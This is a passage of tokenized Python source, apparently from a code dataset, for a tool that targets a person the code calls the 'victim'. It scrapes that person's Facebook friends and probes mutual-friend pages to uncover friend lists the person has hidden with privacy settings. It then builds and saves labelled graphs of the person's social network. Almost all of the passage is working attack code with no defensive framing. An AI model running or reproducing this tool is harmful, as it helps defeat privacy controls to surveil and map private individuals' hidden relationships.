"ecc", "ion_", "[_", "victim", "_", "]_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "victim", "a_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "node_", "(_", "victim", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Check", " ", "if", " ", "the", " ", "file", " ", "exist", "s", ",", " ", "if", " ", "true", " ", "append", ",", " ", "else", " ", "create", " ", "and", " ", "writes", "_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "ab", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "users", "And", "ID_", "=_", "pickle_", "._", "load_", "(_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "'", "dump", "s", "'_", ",_", "victim", "_", ",_", "victim", "_", "+_", "\"", "User", "Names", "ID", "indexe", "d", ".", "txt", "\"_", ")_", ",_", "\"", "rb", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Some", "thing", " ", "wen", "t", " ", "wrong", " ", "whi", "le", " ", "load", "ing", " ", "the", " ", "user", "Id", " ", "and", " ", "usernames", " ", "dictionar", "y", " ", "file", "!", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "Graph", "Label", "ed_", "._", "add", "\\u", "node_", "(_", "users", "And", "ID_", "[_", "victim", "_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "Graph", "Label", "ed_", "._", "add", "\\u", "node_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "total_", "=_", "len_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Get", "ting", " ", "victim", "\\\\'", "s", " ", "friends", " ", "rela", "shi", "ons", "hip", " ", "..", " ", "plea", "se", " ", "wait", ",", " ", "this", " ", "is", " ", "goi", "ng", " ", "to", " ", "take", " ", "a", " ", "whi", "le", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Get", " ", "a", " ", "cof", "fe", "e", " ", "or", " ", "somet", "hing", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "friend_", "in_", "friends_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "calcul", "us", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "total_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Iterat", "ing", " ", "on", " ", "%", "d", " ", "of", " ", "%", "d", " ", "-", " ", "[", "%", ".2", "f", "%%", "]", " ", "complete", "d", "\\\\", "r", "'_", "%_", "(_", "i_", ",_", "total_", ",_", "percentage_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "write_", "(_", "str_", "(_", "friend_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mutual", "_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "col", "ecc", "ion_", "[_", "friend_", "]_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "my", "Graph_", "._", "has", "\\u", "node_", "(_", "friend_", ")_", "!=_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "Graph_", "._", "add", "\\u", "node_", "(_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "Graph", "Label", "ed_", "._", "add", "\\u", "node_", "(_", "users", "And", "ID_", "[_", "friend_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "Graph", "Label", "ed_", "._", "add", "\\u", "node_", "(_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "my", "Graph_", "._", "has", "\\u", "edge_", "(_", "victim", "a_", ",_", "friend_", ")_", "!=_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "Graph_", "._", "add", "\\u", "edge_", "(_", "victim", "a_", ",_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "Graph", "Label", "ed_", "._", "add", "\\u", "edge_", "(_", "users", "And", "ID_", "[_", "victim", "_", "]_", ",_", "users", "And", "ID_", "[_", "friend_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "Graph", "Label", "ed_", "._", "add", "\\u", "edge_", "(_", "victim", "_", ",_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "element_", "in_", "mutual", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "my", "Graph_", "._", "has", "\\u", "node_", "(_", "element_", ")_", "!=_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "Graph_", "._", "add", "\\u", "node_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "edge_", "(_", "element_", ",_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "my", "Graph", "Label", "ed_", "._", "add", "\\u", "node_", "(_", "users", "And", "ID_", "[_", "element_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph", "Label", "ed_", "._", "add", "\\u", "edge_", "(_", "users", "And", "ID_", "[_", "element_", "]_", ",_", "users", "And", "ID_", "[_", "friend_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "my", "Graph", "Label", "ed_", "._", "add", "\\u", "node_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph", "Label", "ed_", "._", "add", "\\u", "edge_", "(_", "element_", ",_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mkdir_", "(_", "'", "object", "s", "'_", ",_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "A_", "=_", "nx_", "._", "adj", "\\u", "matrix_", "(_", "my", "Graph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Objects_", "(_", "victim", "_", ",_", "A_", ",_", "col", "ecc", "ion_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "nx_", "._", "draw", "\\u", "spring", "_", "(_", "my", "Graph_", ",_", "node", "\\u", "color_", "=_", "np_", "._", "linspace_", "(_", "0_", ",_", "1_", ",_", "len_", "(_", "my", "Graph_", "._", "nodes_", "(_", ")_", ")_", ")_", ",_", "edge", "\\u", "color_", "=_", "np_", "._", "linspace_", "(_", "0_", ",_", "1_", ",_", "len_", "(_", "my", "Graph_", "._", "edges_", "(_", ")_", ")_", ")_", ",_", "with", "\\u", "labels_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "graph", "\\u", "color", ".", "pdf", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "graph", "\\u", "color", ".", "png", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "dot_", "(_", "my", "Graph_", ",_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "graph", "\\u", "color", ".", "dot", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "nx_", "._", "draw", "\\u", "spring", "_", "(_", "my", "Graph", "Label", "ed_", ",_", "node", "\\u", "color_", "=_", "np_", "._", "linspace_", "(_", "0_", ",_", "1_", ",_", "len_", "(_", "my", "Graph", "Label", "ed_", "._", "nodes_", "(_", ")_", ")_", ")_", ",_", "edge", "\\u", "color_", "=_", "np_", "._", "linspace_", "(_", "0_", ",_", "1_", ",_", "len_", "(_", "my", "Graph", "Label", "ed_", "._", "edges_", "(_", ")_", ")_", ")_", ",_", "with", "\\u", "labels_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "graph", "Label", "ed", "\\u", "color", ".", "pdf", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "graph", "Label", "ed", "\\u", "color", ".", "png", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "dot_", "(_", "my", "Graph", "Label", "ed_", ",_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "graph", "Label", "ed", "\\u", "color", ".", "dot", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "friends", "hip", "Plot_", "(_", "text_", ",_", "victim", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "ID_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "get", "Friends", "_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "'", "dump", "s", "'_", ",_", "victim", "_", ",_", "victim", "_", "+_", "\"", "User", "Names", ".", "txt", "\"_", ")_", ",_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Some", "thing", " ", "wen", "t", " ", "wrong", " ", "with", " ", "the", " ", "output", " ", "file", "..", " ", "try", " ", "again", " ", "or", " ", "debug", " ", ":", "D", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "friends", "File_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends_", "._", "append_", "(_", "linea_", "._", "strip_", "(_", "'\\\\", "r", "\\\\", "n", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'", "Wait", " ", "whi", "le", " ", "we", " ", "get", " ", "the", " ", "user", " ", "id", "\\\\'", "s", " ", "of", " ", "your", " ", "victim", "\\\\'", "s", " ", "friends", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "get", "User", "IDS_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "Id", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "'", "dump", "s", "'_", ",_", "victim", "_", ",_", "victim", "_", "+_", "\"", "User", "IDS", ".", "txt", "\"_", ")_", ",_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Some", "thing", " ", "wen", "t", " ", "wrong", " ", "with", " ", "the", " ", "output", " ", "file", "..", " ", "try", " ", "again", " ", "or", " ", "debug", " ", ":", "D", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "friends", "Id", "File_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "ID_", "._", "append_", "(_", "linea_", "._", "strip_", "(_", "'\\\\", "r", "\\\\", "n", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "friends", "ID_", ",_", "friends_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/'_", "+_", "str_", "(_", "victim", "_", ")_", "+_", "'?", "and", "='_", "+_", "str_", "(_", "transiti", "ve_", ")_", "+_", "'&", "sk", "=", "friends", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resultado_", "=_", "response_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match_", "=_", "re_", "._", "search_", "(_", "'", "timeline", "Friends", "Colum", "n", "Head", "er", "'_", ",_", "resultado_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "re_", "._", "search_", "(_", "'", "timeline", "Friends", "Colum", "n", "Head", "er", "(.+", ")'_", ",_", "resultado_", ")_", "._", "group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Sho", "ul", "d", " ", "handle", " ", "a", " ", "custom", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Sho", "ul", "d", " ", "handle", " ", "a", " ", "custom", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Error", " ", "connecti", "on", " ", "the", " ", "upper", " ", "function", " ", "will", " ", "catch", " ", "the", " ", "exception_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Off", "set", " ", "for", " ", "the", " ", "string", " ", "search", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "start_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Whi", "le", " ", "line", " ", "matche", "s", " ", "the", " ", "searche", "d", " ", "values_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Sear", "ch", " ", "the", " ", "string", " ", "to", " ", "get", " ", "the", " ", "position", " ", "of", " ", "the", " ", "startin", "g", " ", "match_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match", "And_", "=_", "re_", "._", "search_", "(_", "'", "user", "\\\\.", "php", "\\\\?", "id", "='_", ",_", "linea_", "[_", "start_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Sear", "ch", " ", "the", " ", "end", " ", "of", " ", "the", " ", "match", " ", "for", " ", "tak", "ing", " ", "the", " ", "id", " ", "length_", "\\u\\u\\uNL\\u\\u\\u_", "match", "End_", "=_", "re_", "._", "search_", "(_", "'&", "amp", "'_", ",_", "linea_", "[_", "start_", "+_", "match", "And_", "._", "end_", "(_", ")_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "we", " ", "have", " ", "a", " ", "start", " ", "and", " ", "an", " ", "end", ",", " ", "we", " ", "have", " ", "the", " ", "id", " ", "value", " _", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "match", "And_", "and_", "match", "End_", ")_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Append", "s", " ", "the", " ", "value", " ", "give", "n", " ", "the", " ", "proper", " ", "position", " ", "(", "resolve", "d", " ", "a", " ", "few", " ", "lines", " ", "up", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "to", "User", "ID_", "=_", "linea_", "[_", "start_", "+_", "match", "And_", "._", "end_", "(_", ")_", ":_", "start_", "+_", "match", "End_", "._", "start_", "(_", ")_", "+_", "match", "And_", "._", "end_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "to", "User", "ID_", "not_", "in_", "friends_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "friends_", "._", "append_", "(_", "to", "User", "ID_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Moves", " ", "the", " ", "point", "er", " ", "for", " ", "next", " ", "match_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "start_", "+=_", "match", "End_", "._", "start_", "(_", ")_", "+_", "match", "And_", "._", "end_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "match", " ", "ends", " ", "(", "Equal", "s", " ", "of", " ", "end", " ", "of", " ", "the", " ", "line", " ", "for", " ", "the", " ", "search", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Sear", "ch", " ", "for", " ", "more", " ", "friends", " ", "(", "Ajax", " ", "control", "ed", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match_", "=_", "re_", "._", "search_", "(_", "'/", "aja", "x", "/", "browse", "r", "/", "list", "/", "mutual", "friends", "/'_", ",_", "resultado_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Call", " ", "for", " ", "the", " ", "extend", "end", " ", "frie", "nd", " ", "search", " ", "module_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "extend_", "=_", "see", "More_", "(_", "len_", "(_", "friends_", ")_", ",_", "victim", "_", ",_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Return", " ", "the", " ", "merge", " ", "of", " ", "the", " ", "lists_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "list_", "(_", "set_", "(_", "extend_", "+_", "friends_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "In", " ", "case", " ", "there", " ", "are", " ", "no", " ", "more", " ", "friends", ",", " ", "return", "s", " ", "the", " ", "original", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "friends_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "see", "More_", "(_", "start_", ",_", "victim", "_", ",_", "transiti", "ve_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "vit", "im", "Id", " ", "and", " ", "transiti", "ve", "Id", " ", "need", "s", " ", "to", " ", "be", " ", "IDS", ",", " ", "inst", "ead", " ", "of", " ", "usernames", ".", " ", "Is", " ", "like", " ", "a", " ", "cast", " ", "from", " ", "the", " ", "user", "name", " ", "to", " ", "the", " ", "Id_", "\\u\\u\\uNL\\u\\u\\u_", "#", "doe", "sn", "'", "t", " ", "matte", "r", " ", "if", " ", "the", " ", "give", "n", " ", "argu", "ment", " ", "is", " ", "alr", "ead", "y", " ", "the", " ", "id", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "victim", "Id_", "=_", "get", "User", "ID_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "transiti", "ve", "Id_", "=_", "get", "User", "ID_", "(_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Disc", "lose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "extend", "ed", "Friends", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "victim", "Id_", "==_", "-_", "1_", ")_", "or_", "(_", "transiti", "ve", "Id_", "==_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "extend", "ed", "Friends", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Whi", "le", " ", "there", " ", "friends", " ", "to", " ", "discl", "ose", "d", " ", "in", " ", "the", " ", "partic", "ular", " ", "uni", "on", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", 